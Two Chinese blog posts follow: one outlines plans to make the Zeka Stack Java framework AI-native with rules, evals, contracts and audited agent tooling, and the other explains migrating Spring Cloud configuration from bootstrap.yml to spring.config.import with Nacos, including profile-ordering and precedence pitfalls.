Zeka Stack 过去主要是一套面向开发者的底层框架。3.0 之后，它应该成为一套面向开发者和 AI 的工程底座。

当前状态：不是从零开始接 AI

Zeka Stack 现在并不是一个空白项目。它已经有很多工程资产，只是这些资产过去主要服务“人类开发者”，还没有被统一整理成“AI 也能理解和执行”的形态。

如果把现有模块摊开看，会发现它已经具备向 AI Native 演进的基础。

现有能力	当前价值	3.0 可以放大的方向
`cubo-rest-spring-boot`	统一响应、异常、校验、REST 基础约束	统一错误语义、分页语义、幂等语义、状态语义
`cubo-openapi-spring-boot`	面向开发者的接口文档	面向 AI 的业务契约和前端 Manifest
`cubo-launcher-spring-boot`	启动、配置、扩展点	配置解释、环境差异分析、启动诊断
`cubo-logsystem-spring-boot`	日志记录、日志治理	日志摘要、故障归因、运行期诊断上下文
`cubo-endpoint-spring-boot`	健康、监控、管理端点	AI Ops 的状态入口和诊断入口
`cubo-spring-boot-templates`	模块模板和代码生成	AI First Scaffold
`blen-kernel-generator`	模板变量、元数据注入、生成器基础	生成规则、契约、测试、文档和 AI 元数据
`zeka-idea-plugin`	IDE 侧 AI、终端、Swagger、Tracer、Changelog 探索	本地研发入口、Pre-PR、AI Review、发布协作

所以问题不是“Zeka Stack 要不要接 AI”，而是“这些分散能力如何被重新组织”。

如果继续零散推进，最后很容易变成很多看起来很酷但彼此不连贯的 Demo。真正应该做的是把规则、契约、工作流、运行期上下文和评测体系串起来，让 AI 进入项目以后不是自由发挥，而是沿着 Zeka Stack 的工程轨道工作。

我倾向于把 Zeka Stack 3.0 的整体结构理解成下面这张图。

flowchart TB
    A["Zeka Stack 3.0<br/>AI Native Engineering Platform"]

    A --> B["开发期协作"]
    A --> C["契约与领域理解"]
    A --> D["运行期诊断"]
    A --> E["Agent Runtime"]
    A --> F["发布与治理"]

    B --> B1["Rules"]
    B --> B2["Skills"]
    B --> B3["SOP"]
    B --> B4["Pre-PR"]

    C --> C1["AI Contract"]
    C --> C2["Domain Memory"]
    C --> C3["Frontend Manifest"]

    D --> D1["Config Copilot"]
    D --> D2["Ops Copilot"]
    D --> D3["Logs / Endpoint / Tracing"]

    E --> E1["Tool"]
    E --> E2["MCP"]
    E --> E3["Security / Audit"]

    F --> F1["Changelog"]
    F --> F2["Upgrade Notes"]
    F --> F3["Eval"]

这张图里最重要的不是某个模块，而是闭环。

AI 可以参与开发，但必须有 Rule；AI 可以执行重复流程，但最好沉淀成 Skill；AI 可以生成代码，但提交前要经过 Pre-PR；AI 可以生成契约、文档和测试，但最终要被 Eval 校验；AI 可以进入运行期，但必须有权限、审计和危险操作边界。

核心判断：AI 会放大工程体系的好坏

传统工程里的技术债，很多时候是慢慢积累的。目录乱一点、异常不统一一点、接口描述少一点、日志格式随意一点，短期还能靠人兜住。

AI Coding 让这个节奏变了。

大模型会强依赖上下文和已有模式。如果仓库里有三种异常处理方式、两套分页结构、五种日志写法，它不会天然知道哪一种是 Zeka Stack 想要的标准，反而可能把这些差异混在一起继续生成。一个人这么做还可控，多个人长期这么做，系统会很快长出新债。

所以 Zeka Stack 3.0 的第一性问题不是“怎么让 AI 写得更多”，而是“怎么让 AI 写出来的东西更像 Zeka Stack”。

这里需要一次角色转变。

角色	过去更关注	AI 时代更应该关注
开发者	写代码、调接口、补文档	判断边界、定义规则、验收语义
框架	封装最佳实践、减少样板代码	把最佳实践变成 AI 可执行资产
AI	辅助生成局部代码	在规则、Skill、SOP 下执行工程任务
Review	看实现是否正确	看方案、边界、风险和长期一致性
测试	验证功能是否可用	验证 AI 产出是否稳定符合规范

这也是为什么 Zeka Stack 3.0 必须同时建设规则、流程和评测。只接模型没有意义，只写文档也不够。真正有价值的是把“人已经认可的工程判断”固化成 AI 能反复执行的机制。

方法论

先统一人的判断，再约束 AI 的执行

AI Rule 不是起点，人的工程共识才是起点。

如果团队内部对分层原则、模块职责、领域建模、依赖边界、异常语义、接口风格都没有统一判断，那么写再多 Rule 也会失效。因为不同人会用不同方式解释同一条规则，AI 也会在不同上下文里生成不同结果。

Zeka Stack 3.0 要先把过去隐含在经验里的判断显性化。比如什么能力应该沉到 blen-kernel，什么能力应该放在 cubo-starter；一个 Starter 的 core、autoconfigure、starter 各自承担什么职责；REST 层哪些语义必须统一，哪些可以交给业务扩展；Agent 能做什么，哪些操作必须被权限和审计拦住。

这些判断被写清楚以后，才有资格进入 Rule、Skill 和 Eval。

让 AI 负责看全，让人负责判断重要性

复杂工程里，人最稀缺的能力不是逐行看代码，而是判断什么问题值得优先解决。

AI 很适合做大范围扫描：查重复模式、找依赖违规、分析调用链、汇总异常处理差异、检查 OpenAPI 注释缺失、定位配置项使用位置、比对日志字段、扫描潜在性能问题。它可以把过去需要大量人工时间才能看全的问题先摊开。

但 AI 不应该替代架构判断。它能指出很多问题，却未必知道哪些问题最值得先处理，哪些只是局部代码味道，哪些会影响 Zeka Stack 的长期结构。

更合理的模式是人先圈定方向，AI 在方向内做穷举扫描，人再判断优先级，最后让 AI 按确认后的规则辅助修复。

sequenceDiagram
    participant Human as 架构判断
    participant AI as AI 扫描
    participant Repo as 代码仓库
    participant Rule as 规则沉淀

    Human->>AI: 圈定高风险方向
    AI->>Repo: 扫描调用链、依赖、契约、配置、日志
    AI-->>Human: 输出问题清单和证据
    Human->>Human: 判断优先级和架构影响
    Human->>Rule: 固化为 Rule / Skill / Eval
    Rule-->>AI: 指导后续重复执行

把重复流程固化成 Skill 和 SOP

AI 自由发挥的空间越大，产出越不稳定。

Zeka Stack 3.0 不应该依赖“每次写一段很长的 Prompt 让 AI 临场理解”。更可靠的方式是把高频、重复、容易出错的流程固化成 Skill 和 SOP。

比如新增 Starter、补齐示例工程、增强 OpenAPI 契约、生成 Pre-PR 自查报告、检查依赖边界、根据日志生成诊断摘要、根据 diff 生成发布说明，这些都不应该每次从零解释。它们应该有固定输入、固定步骤、固定检查项和固定产物。

流程	不固化时的问题	固化后的价值
新增 Starter	AI 临场猜目录和职责边界	按 Zeka 标准生成模块骨架、文档、测试、契约
补 OpenAPI 契约	字段描述随意，示例缺失	输出字段语义、错误模型、状态流转、接口组合
Pre-PR 自查	基础问题进入人工 Review	提交前先过滤规范、依赖、测试和文档问题
日志诊断	排障上下文散落	统一汇总日志、配置、端点和最近变更
发布说明	只写 changelog，缺影响分析	同步生成升级风险、迁移说明、AI 变更摘要

Skill 的价值不是让 AI 看起来更智能，而是让 AI 少猜。

让技术债随日常开发被消化

Zeka Stack 3.0 的改造不适合幻想一次性推倒重来。

这是一个多模块、长期演进、带子模块和插件生态的仓库。如果把 AI Native 理解成一次大规模重构，很容易陷入两个问题：目标太大，迟迟无法落地；改动太散，无法验证真实价值。

更实际的方式是把技术债拆成可以随日常开发消化的动作。

比如后续新增或调整某个 Starter 时，不只是完成当前功能，还顺手补齐模块级 Rule、README 的 AI 协作说明、配置 metadata、最小测试、OpenAPI 契约增强、示例工程和 Pre-PR 检查项。

再比如修改 REST 能力时，不只是修一个接口行为，还顺手沉淀错误码语义、分页和排序契约、批量操作模型、幂等语义、长任务响应模型和 AI 契约字段说明。

这样 Zeka Stack 3.0 的建设不会变成脱离日常维护的专项，而是逐步把已有工程经验转成 AI 可执行资产。

Pre-PR 会成为 AI Coding 的必要环节

AI 提升编码速度以后，Review 会变成新的瓶颈。

如果 AI 生成代码很快，但每次都把大量基础问题丢给人工 Review，那么整体效率不会真正提升，只是把压力从编码阶段转移到 Review 阶段。

Zeka Stack 3.0 应该把 Pre-PR 作为标准工作流的一部分。提交前，AI 先按项目规则进行自查：模块分层有没有破坏、依赖方向有没有错误、统一异常和响应模型有没有绕过、日志上下文是否完整、配置 metadata 是否缺失、测试和示例是否同步、OpenAPI / AI Contract 是否受影响。

人工 Review 的重点不应该继续消耗在格式、命名、低级一致性这些基础问题上，而应该转向技术方案是否正确、抽象边界是否合理、业务语义是否准确、风险是否被充分识别。

flowchart LR
    A["代码变更"] --> B["AI Pre-PR 自查"]
    B --> C{"基础规范通过?"}
    C -- "否" --> D["AI 修复或给出修复建议"]
    D --> B
    C -- "是" --> E["生成 PR 说明"]
    E --> F["人工 Review"]
    F --> G["合并"]
    G --> H["规则 / Eval 反馈沉淀"]
    H --> B

测试和评测必须人机协同

AI 可以生成大量测试，但大量不等于有效。

如果完全让 AI 自由生成测试，它很容易漏掉真正高风险的业务链路，同时生成大量低价值边缘用例，增加维护成本。更适合 Zeka Stack 的方式，是人先定义测试边界和风险等级，AI 再负责扫描、组合和生成结构化用例。

步骤	人负责	AI 负责	产物
范围确认	判断变更边界和核心风险	根据 diff、接口、配置扫描影响对象	影响清单
风险分级	判断哪些路径必须重点测	汇总分支、兼容性、依赖变化	风险等级
用例设计	审核关键业务语义	生成最小组合和覆盖矩阵	用例矩阵
步骤生成	校验可执行性和边界条件	补齐操作步骤和断言	测试步骤
结果评估	判断是否满足发布要求	生成缺口报告和建议	评测报告

这套思路不只适用于业务测试，也适用于 AI 产出评测。

Zeka Stack 3.0 应该逐步建立一批 Eval，用来验证 AI 生成的 Starter 是否符合目录和依赖规范，REST 接口是否符合响应、异常、分页、错误码约定，OpenAPI 契约是否包含字段语义、示例、错误模型和状态流转，Agent 调用是否遵守权限、审计和危险操作确认。

没有 Eval，AI Native 最终会变成演示能力。有了 Eval，它才可能成为稳定工程能力。

方向

如果说前面的内容是在回答“为什么 Zeka Stack 要面向 AI 重新定位”，那么这一章要回答的是“这种重新定位应该落到哪些能力上”。

这里讨论的不是功能清单，也不是版本排期。真正重要的是能力重心的变化：Zeka Stack 不能只继续补 Starter、补工具、补插件，而是要把已有工程资产重新组织成 AI 可以理解、可以执行、可以验证的体系。

AI First Scaffold

Zeka Stack 过去的脚手架更多是在生成代码骨架。这个阶段的价值很清楚：帮开发者把目录、POM、基础类、示例代码准备好，让项目能更快启动。

但 AI 参与开发以后，只生成代码骨架是不够的。因为 AI 接手一个新模块时，它不只需要知道有哪些文件，还需要知道这些文件为什么存在、职责边界在哪里、后续扩展应该遵守什么约束。如果脚手架只生成代码，不生成规则和上下文，AI 很快又会回到临场猜测的状态。

所以 3.0 里的脚手架应该生成“适合 AI 继续协作的工程骨架”。它生成的不只是第一版代码，而是一个后续可以被 AI 持续理解、扩展、校验的工程起点。

脚手架产物	2.x 更关注	3.0 更应该关注
目录结构	能编译、能启动	职责边界清楚，AI 能判断该改哪里
POM 依赖	依赖可用	依赖方向可校验，违规可拦截
示例代码	展示基本用法	展示标准扩展方式和 AI 可复用模式
README	人能看懂	人和 AI 都能按步骤执行
测试	覆盖基本路径	作为 Eval 样例沉淀
元数据	配置提示	契约、配置、领域语义一起输出

这会改变 cubo-spring-boot-templates 和 blen-kernel-generator 的定位。它们不再只是代码生成工具，而是 AI First Scaffold 的入口。

AI Consumable Backend Contract

传统 Swagger / Knife4j 更适合人看。它能帮助开发者浏览接口、调试参数、查看返回结构，也能作为前后端沟通的基础材料。

但这类文档的默认假设仍然是读者具备业务背景。人看到接口路径、字段类型、简单描述，通常可以结合产品上下文和历史经验继续理解。AI 不一样，它更依赖输入材料本身的完整性和结构化程度。

如果 AI 只拿到传统 OpenAPI，它往往只能知道“这个接口有什么字段”，却很难稳定判断字段的业务含义、错误如何恢复、状态如何流转、哪些接口应该组合使用、前端页面应该如何渲染这些更深层的问题。

所以 cubo-openapi-spring-boot 后续不应该只做文档增强，而应该升级为双轨契约系统。

契约轨道	面向对象	核心内容
Human OpenAPI	开发者、前端、测试	接口路径、字段类型、调试入口、基础说明
AI Contract	AI、生成器、Agent、测试工具	字段语义、错误模型、状态流转、任务链路、前端 Manifest

AI 契约至少应该包含字段级业务语义、参数约束、输入输出示例、统一错误模型、状态流转、枚举渲染语义、接口组合关系和任务链路示例。

这件事如果做成，Zeka Stack 的 OpenAPI 能力就不只是接口文档，而是 AI 理解后端业务的标准契约层。它会直接影响 AI 生成前端页面、生成 API 调用代码、生成测试用例和接口覆盖矩阵的稳定性。

AI Domain Memory

AI 只看 Controller 和 DTO，只能理解表层结构。它可以推断字段类型，可以猜测接口用途，也可以根据命名生成一些看似合理的代码，但这种理解很浅。

真实业务系统的关键知识往往不在 Controller 里，而是散落在表结构、枚举、错误码、状态机、配置项、文档、示例工程和历史约定中。开发者长期维护一个系统，会自然形成这种领域记忆；AI 如果每次都从零读取局部代码，就很难形成稳定判断。

所以如果想让 AI 真正理解业务，需要把业务语言沉淀为领域记忆。这层能力不是替代接口契约，而是补足接口契约背后的语义上下文。

flowchart LR
    A["表结构 / 字段注释"] --> M["Domain Memory"]
    B["枚举 / 错误码"] --> M
    C["OpenAPI 描述"] --> M
    D["README / 示例工程"] --> M
    E["状态机 / 业务流程"] --> M
    F["配置 metadata"] --> M

    M --> G["领域词典"]
    M --> H["对象关系"]
    M --> I["状态语义"]
    M --> J["前端动作"]
    M --> K["测试场景"]

这层能力对业务系统尤其重要。AI 不应该只知道字段叫 status，还应该知道这个状态有哪些取值、分别对应什么业务阶段、影响哪些接口、前端应该展示哪些动作、哪些状态迁移是非法的。

AI Config Copilot

配置是工程里非常高频也非常高风险的区域。很多线上问题并不是代码逻辑错，而是配置项含义没理解清楚、环境差异没识别出来、默认值被误改、多个配置源优先级冲突。

AI 很适合参与配置解释，但前提是框架能提供足够结构化的配置上下文。配置项不能只是一个 key 和 value，它还应该有来源、默认值、作用范围、影响模块、风险说明和变更建议。

Zeka Stack 已经有配置热更新、启动上下文、环境感知和扩展点能力，这些能力非常适合演进成 AI Config Copilot。它可以把配置从运行参数提升为可解释、可分析、可审计的工程资产。

AI 需要回答的问题	框架需要提供的上下文
这个配置项控制什么能力？	配置 metadata、默认值、绑定类
改动它会影响哪些行为？	Bean 条件、自动配置、Starter 依赖
为什么本地和线上表现不同？	环境差异、配置源优先级、激活 profile
启动失败是否和配置有关？	启动日志、条件装配报告、缺失配置
这个改动风险高不高？	影响模块、历史默认值、兼容性说明

这类能力不会像代码生成那么显眼，但对真实团队非常有价值。cubo-launcher-spring-boot 可以成为这一层的核心入口。

AI Ops Copilot

Zeka Stack 不应该只做开发期 AI，也应该覆盖运行期 AI。

系统上线以后，真正消耗团队时间的往往是排障：为什么启动失败、为什么接口变慢、为什么健康检查异常、为什么日志里反复出现某个错误、为什么配置在不同环境表现不一致。

这些问题很适合 AI 参与初步分析。AI 不一定直接给出最终答案，但它可以先把日志、端点、配置、链路和最近变更组织起来，形成一个有结构的诊断摘要，让人更快进入关键问题。

flowchart TB
    A["运行期信号"] --> B["AI Ops Copilot"]
    A1["日志"] --> A
    A2["Health Endpoint"] --> A
    A3["Tracing / APM"] --> A
    A4["配置快照"] --> A
    A5["最近发布变更"] --> A

    B --> C["故障摘要"]
    B --> D["影响范围"]
    B --> E["可能根因"]
    B --> F["建议动作"]
    B --> G["是否需要人工升级"]

这里要注意边界：AI Ops 不是让 AI 直接替人操作生产环境，而是先做诊断、解释、摘要和建议。涉及危险操作时，必须有权限、审计和人工确认。

如果这一层落地，Zeka Stack 的价值就不只在写代码更快，而是覆盖开发、测试、发布、运行、排障的完整生命周期。

Agent Ready Runtime

Agent Runtime 不应该直接侵入业务模块。这一点非常重要。

现在各种 Agent Runtime、MCP、Tool、OpenAI Compatible Adapter 都在快速变化，如果 Zeka Stack 把业务模块和某一个 Runtime 强绑定，短期看可能能快速出 Demo，长期看会让框架失去弹性。

更稳的方式是先定义自己的中立抽象：业务系统暴露什么 Tool，Tool 如何鉴权，Session 和 Memory 的边界在哪里，危险操作如何确认，调用过程如何审计，失败如何回滚或降级。只要这些边界清楚，底层接哪一种 Runtime 都只是适配问题。

抽象层	职责
`agent-core`	Tool、Agent、Session、Memory 的核心模型
`agent-mcp`	MCP Server 和 MCP Tool 的发布与接入
`agent-runtime-adapter`	适配不同 Agent Runtime
`agent-security`	权限、审计、脱敏、危险操作确认
`agent-observability`	Agent 调用链路、成本、日志和效果记录

Agent Ready 的真正价值不是能调模型，而是业务系统天然具备被 Agent 安全调用、可观测调用、可审计调用的能力。

AI Release Copilot

发布协作也是 AI 很适合切入的方向。

Zeka Stack 的多模块结构决定了版本发布不是简单改一个版本号。一次改动可能影响 Starter、示例工程、文档站、IDE 插件、生成器和下游使用方式。

发布阶段最容易出现的问题，是代码已经改了，但文档、示例、契约、迁移说明、版本摘要没有同步。对开源框架来说，这会直接影响使用者的升级体验；对 AI 协作来说，这也会让后续模型读到过时上下文。

所以发布协作不应该只是最后生成一份 changelog，而应该成为变更治理的一部分。AI 可以在版本发布前帮助梳理影响范围、同步检查文档与示例、生成升级风险，并把人类读的发布说明和 AI 读的变更摘要同时产出。

发布协作事项	AI 可以做什么	人需要判断什么
变更摘要	根据 diff 生成 changelog 草稿	哪些变化值得对外说明
影响范围	扫描模块、示例、文档、插件联动	是否需要扩大验证范围
升级风险	汇总破坏性变化和迁移点	风险级别和发布节奏
文档同步	检查 README、站点、示例是否过期	文档表达是否准确
AI 摘要	生成给后续 AI 读取的结构化变更	是否符合真实语义

zeka-idea-plugin 里已有 changelog、diff、prompt、版本解析等探索，后续可以继续作为发布协作的前端入口。

能力入口建议

到这里，方向已经比较清楚，但还需要一个承载方式。否则这些能力会继续散在脚本、插件、文档和模块里，下一次再接着做时又要重新理解。

我倾向于把入口分成两类：一类是仓库内的长期资产入口，另一类是开发者日常使用的交互入口。

`supports/ai` 应该成为总入口

supports/ 不应该只继续承担脚本和资源目录角色。它可以升级成 Zeka Stack AI 工程能力的总入口。

supports/ai/
  rules/
  skills/
  playbooks/
  prompts/
  evals/
  domain-memory/
  contracts/
  release/

这个目录的意义不是“放一些提示词”，而是让别人看到一个 Java 开源项目如何系统化使用 AI：规则放在哪里，Skill 怎么组织，Eval 怎么写，契约怎么沉淀，发布协作怎么闭环。

核心模块承接稳定能力

模块	建议承接能力
`cubo-openapi-spring-boot`	AI Contract、Frontend Manifest、字段语义、任务链路
`cubo-rest-spring-boot`	响应、异常、分页、排序、幂等、状态语义
`blen-kernel`	错误模型、契约元数据、领域词汇、Agent 基础接口
`cubo-launcher-spring-boot`	配置解释、启动上下文、环境差异
`cubo-logsystem-spring-boot`	日志摘要、故障上下文、运行期诊断
`cubo-endpoint-spring-boot`	健康状态、项目状态、诊断入口、安全管理
`cubo-spring-boot-templates`	AI First Scaffold
`blen-kernel-generator`	模板、元数据、契约、测试和文档生成
`zeka-idea-plugin`	本地研发入口、Pre-PR、AI Review、发布协作

IDEA 插件不应该抢框架主线，但它是非常重要的实验场和本地入口。稳定能力先沉淀到仓库规则、Skill、契约和 Eval，再通过插件提供更顺手的开发体验。

最终目标

Zeka Stack 3.0 最终应该达到的状态，不是“接入了某个模型”，也不是“能生成一段代码”。这些都太表层。

真正有价值的状态应该是：

目标	判断标准
AI 能参与真实模块开发	它知道规则、目录、依赖边界、产物要求
AI 生成代码能被约束	Pre-PR 和 Eval 能发现基础问题
后端契约能被 AI 消费	不只输出 OpenAPI，还输出业务语义
项目能沉淀领域记忆	错误码、状态、枚举、对象关系可复用
AI 能辅助前端和测试	契约能驱动页面、调用代码和覆盖矩阵
AI 能参与运行期诊断	日志、配置、端点和链路能形成摘要
Agent 能安全接入系统	Tool、权限、审计、危险操作边界清楚
发布协作能闭环	文档、示例、契约、升级说明同步治理

过去 Zeka Stack 帮助开发者少写重复代码。

未来 Zeka Stack 要帮助开发者和 AI 一起写出长期可维护的系统。

结语

AI 没有让脚手架失去意义，而是逼着脚手架升级。

过去脚手架解决的是模板、封装和最佳实践复用问题。未来脚手架要解决的是工程规则沉淀、AI 协作边界、业务契约表达、运行期诊断、Agent 安全接入和质量评测问题。

Zeka Stack 3.0 如果能把这些能力收敛起来，它的定位就会从 Spring Boot Starter 体系，升级为：

AI 可执行的工程规范平台。
AI 可消费的业务契约平台。
AI 可协作的开发工作流平台。
AI 可参与的运维诊断平台。
Agent Ready 的 Java 工程底座。

这才是 Zeka Stack 在 AI 时代继续存在并继续演进的核心价值。

再见 bootstrap.yml，spring.config.import 时代的配置管理

Tue, 28 Apr 2026 00:00:00 GMT

bootstrap.yml 为什么不在了

我在第五篇文章里写了 @Value 到 @ConfigurationProperties 的迁移。那是配置管理的”内容”层面——配置怎么写、怎么校验、怎么分类。这篇文章说的是配置管理的”机制”层面——配置文件本身是怎么被加载的，以及从一个机制迁移到另一个机制时要面对的坑。

先说背景：Spring Cloud 2020+（对应 Spring Boot 2.4+）废弃了 bootstrap.yml。

很多人可能都没注意到这件事。因为如果你的项目是那之前创建的，你的 bootstrap.yml 还在正常工作——Spring Cloud 还保留着向后兼容的能力。但如果你从 Spring Boot 2.3 跳到 3.x，或者像我一样在做架构迁移，就会发现 bootstrap.yml 被官方标记为”不推荐使用”。

为什么要废弃？官方的理由有三条：

额外的上下文。 bootstrap.yml 和 application.yml 是两个独立的 ApplicationContext。bootstrap.yml 先加载，形成一个”引导上下文”（Bootstrap Context），然后 application.yml 再加载，形成”主上下文”（Application Context）。这种双上下文的机制让排查问题变得困难——你不知道一个属性是在哪个上下文里被解析的。

维护成本高。 多了一套配置加载逻辑，Spring Cloud 团队的维护负担就多了一倍。而且 bootstrap.yml 的行为和 application.yml 并不完全一致——有些属性在 bootstrap 上下文里不会触发自动配置，因为自动配置只在主上下文中生效。这些差异常常是 bug 的来源。

违背 Spring Boot 的统一配置入口理念。 Spring Boot 的设计哲学是”一套配置入口”，所有外部化配置都从 application.yml 开始。bootstrap.yml 打破了这个约定——它是在 application.yml 之前加载的”配置的配置”。

对我来说，最直观的感受是另一个：在双上下文机制下，Spring 的 Listener 会被执行两次。 因为同一段初始化逻辑在两个上下文里各跑了一次。你能想象一个初始化数据库连接的 Listener 被执行两次是什么效果吗？

所以在新版本的微服务迁移中，我们完全拥抱了 spring.config.import 代替 bootstrap.yml 的方式。

spring.config.import 怎么用

最简洁的写法：

spring:
  profiles:
    active: local
  application:
    name: @project.artifactId@    # 用 Maven 变量动态获取项目名
  cloud:
    compatibility-verifier:
      enabled: false               # 上一篇讲的版本兼容性检查
  config:
    import:
      - nacos:share-config.yaml?refreshEnabled=false&group=DEFAULT_GROUP
      - nacos:${spring.application.name}.yaml?refreshEnabled=true&group=DEFAULT_GROUP

两行 import 分别做了什么事：

第一行，导入 share-config.yaml——这是所有微服务共享的公共配置，比如数据库连接池参数、Feign 超时配置、MyBatis 的全局配置。refreshEnabled=false 表示这个配置不需要动态刷新，因为改共享配置影响面太广，应该走正式的变更流程，而不是在 Nacos 后台随手改。

第二行，导入 ${spring.application.name}.yaml——这是当前服务专属的配置。refreshEnabled=true 表示支持动态刷新，因为这个配置只影响当前服务，改动风险可控。

这个设计背后是一个三层配置体系：

服务专属配置 (xxx-service.yaml)       → 优先级最高
    ↓ 覆盖
共享配置 (share-config.yaml)          → 优先级中等
    ↓ 覆盖
框架默认值 (@ConfigurationProperties)  → 优先级最低

使用者在自己的服务配置里只需要写自己特有的东西。比如 sctelcp-user-api-service.yaml：

server:
  port: 9003
  servlet:
    contextPath: /user/api

spring:
  datasource:
    druid:
      url: jdbc:postgresql://${db-address}/user_service?currentSchema=public

第一个坑：为什么 application.yml 不能拆分

这是整个配置迁移过程中最大的坑。

看起来合理的做法是把不同环境的 Nacos 连接信息放在不同的 profile 文件中——application-local.yml 放本地 Nacos 地址，application-dev.yml 放开发环境地址。整洁、清晰、符合 Spring Boot 的最佳实践。

但是这样配，Nacos 根本连不上。没有任何报错，它就是静默地不连接。

原因在于 spring.config.import 的执行时机。它的执行顺序是这样的：

加载 application.yml 的默认部分（非 profile 部分）
执行 spring.config.import，连接 Nacos 并导入远程配置
加载 profile 文件（application-{profile}.yml）

第 2 步在第 3 步之前。所以如果你把 Nacos 的连接地址放在 application-local.yml 里：

# application.yml
spring:
  profiles:
    active: local
  config:
    import: nacos:share-config.yaml    # 这一步执行时 Nacos 地址还没加载

# application-local.yml
spring:
  cloud:
    nacos:
      server-addr: 127.0.0.1:8848      # 这一步在 import 之后才执行

第 2 步的时候，Spring 不知道 Nacos 在哪，spring.config.import 静默失败。没有任何异常——Spring 认为配置中心连接失败不应该阻止应用启动，所以它默认吞掉了这个错误。然后整个 Nacos 配置都不生效，你的服务用着本地的默认配置跑起来，直到某个需要远程配置的功能被调用时才暴露问题。

排查这种问题极其痛苦，因为日志里没有任何 ERROR。你看着应用正常启动了，但所有的 Nacos 配置都是 null。

正确的做法是：所有 profile 相关的配置放在一个 application.yml 中，用 --- 分隔，通过 spring.config.activate.on-profile 做条件激活。

# application.yml
spring:
  profiles:
    active: local
  application:
    name: @project.artifactId@
  cloud:
    compatibility-verifier:
      enabled: false
  config:
    import:
      - nacos:share-config.yaml?refreshEnabled=false&group=DEFAULT_GROUP
      - nacos:${spring.application.name}.yaml?refreshEnabled=true&group=DEFAULT_GROUP

---
spring:
  config:
    activate:
      on-profile: local
  cloud:
    nacos:
      server-addr: 127.0.0.1:8848
      username: nacos_user
      password: nacos_password
      config:
        namespace: local
      discovery:
        namespace: local

---
spring:
  config:
    activate:
      on-profile: dev
  cloud:
    nacos:
      server-addr: nacos-dev.internal:8848
      username: nacos_user
      password: nacos_password
      config:
        namespace: dev
      discovery:
        namespace: dev

这个文件虽然比拆分方案长了点，但它是可预测的。你一眼就知道 local 环境连哪个 Nacos，dev 环境连哪个 Nacos。不会出现”配置明明写了为什么不生效”的情况。

也许有人会问：Spring Boot 不是支持 spring.config.import 与 profile 的配合吗？答案是：支持，但仅限于 application-{profile}.yml 里定义的非 import 属性。import 本身是在 profile 文件加载之前执行的，这是架构设计上的时间差，不是你写配置能绕过去的。

第二个坑：配置优先级变了

以前 bootstrap.yml 时代，配置中心的配置优先级高于本地配置。很多人养成了这样的心智模型：Nacos 上改个值，本地就自动覆盖了。

到了 spring.config.import 时代，规则反过来了——本地配置优先级高于配置中心。

为什么？因为 spring.config.import 导入的配置被视为一种”额外的配置源”，和本地配置在同一个 ConfigData 体系里处理。而 Spring Boot 默认的规则是：本地文件配置优先。

具体来说，加载顺序是：

1. application.yml 默认部分（非 profile）
2. spring.config.import 导入的配置  ← 这时能覆盖第 1 步的配置
3. application.yml 的 profile 部分（如 on-profile: dev）  ← 这时能覆盖第 2 步的配置

一个具体例子：

# application.yml
spring:
  profiles:
    active: dev
  config:
    import:
      - nacos:share.yaml?refreshEnabled=true

aa=111

---
spring:
  config:
    activate:
      on-profile: dev
aa=333

假设 Nacos 上 share.yaml 里配了 aa=222。最终的值是 aa=333。

加载过程：

加载默认配置：aa=111
import Nacos 配置：aa=222（此时覆盖了 111）
加载 dev profile：aa=333（此时覆盖了 222）

如果你导入多个 Nacos 配置：

spring:
  config:
    import:
      - nacos:share1.yaml?refreshEnabled=true
      - nacos:share2.yaml?refreshEnabled=true

share2.yaml 的优先级高于 share1.yaml——后导入的覆盖先导入的。

这个优先级反转对本地开发来说是好事。以前你想在本地覆盖配置中心的某个值，得去 Nacos 后台改，或者在 application.yml 里配 spring.cloud.config.allowOverride=true。现在直接改本地配置就行——本地天然优先。

但这也意味着，你不能像以前那样依赖 Nacos 后台改配置来覆盖本地配置。 如果你希望配置中心优先于本地（比如某些生产环境的治理需求），需要显式声明：

spring:
  cloud:
    nacos:
      config:
        preference: remote

这是一个需要在团队规范里写清楚的变化。别让一个开发者在不知道优先级反转的情况下，在 Nacos 上改了个值，以为生效了，结果本地配置一直在覆盖它。

一个调试技巧

如果你想看配置到底是怎么加载的，加一行日志：

logging:
  level:
    org.springframework.boot.context.config: TRACE

启动时控制台会打印每个配置源的加载顺序和内容。配错了排查起来一目了然。

迁移过程中，我们对 share-config.yaml 做了一次”瘦身手术”。原则是：共享配置只放真正通用的东西，服务特有的配置挪到各自服务的配置中。

具体操作：

OSS 配置从 share-config.yaml 迁移到 sctelcp-infrastructure-service.yaml——只有基础设施服务才需要对象存储，不是全局配置
删除 spring.cloud.nacos.discovery 相关配置——注册中心配置放在本地 application.yml，和配置中心放一起，不再分开两套
删除 RSA 密钥和 SM2 密钥相关配置——安全敏感配置不应该有默认值，强制业务方自己配
新增 spring.datasource 默认配置——连接池参数是所有服务通用的，适合放在共享配置中
新增 http.client 配置模板——HTTP 客户端的超时、重试等配置，服务可按需继承或覆盖

最关键的改动是第三条。在第五篇文章里也提过这个原则——安全敏感信息的默认值是安全的最大敌人。你在共享配置里写了个 SM2 默认密钥，绝大多数业务方不会去改，也不会记得去改，那加密就成了摆设。更糟糕的是，多个项目共用同一个默认密钥，一个项目的密钥泄露就意味着所有项目的加密数据都不安全了。

解决办法很简单——留空，强制业务方在初始化时自己生成：

secret:
  sm2:
    privateKey:    # 留空，业务方必须自己生成
    publicKey:     # 留空

从架构的角度，这不是在使用者制造麻烦，这是在保护他们。但这个措施只有配合培训才有效——你要在文档里解释为什么这一项留空了，以及怎么生成新的密钥对。

附加技能：Maven profiles 切换数据库驱动

迁移过程中还有一个痛点：我们同时适配了 PostgreSQL 和 MySQL，每次切换数据库要手动改 pom.xml 的驱动依赖。而且有时候同时依赖了两个驱动，jar 包体积无谓增大。

用 Maven profiles 解决：

<profiles>
    <profile>
        <id>mysql</id>
        <dependencies>
            <dependency>
                <groupId>com.mysql</groupId>
                <artifactId>mysql-connector-j</artifactId>
                <scope>runtime</scope>
            </dependency>
        </dependencies>
    </profile>
    <profile>
        <id>postgresql</id>
        <activation>
            <activeByDefault>true</activeByDefault>
        </activation>
        <dependencies>
            <dependency>
                <groupId>org.postgresql</groupId>
                <artifactId>postgresql</artifactId>
                <scope>runtime</scope>
            </dependency>
        </dependencies>
    </profile>
</profiles>

默认激活 PostgreSQL。需要切换到 MySQL 时，在 IDE 的 Maven 面板里勾选 mysql profile 即可，或者命令行 mvn -Pmysql。

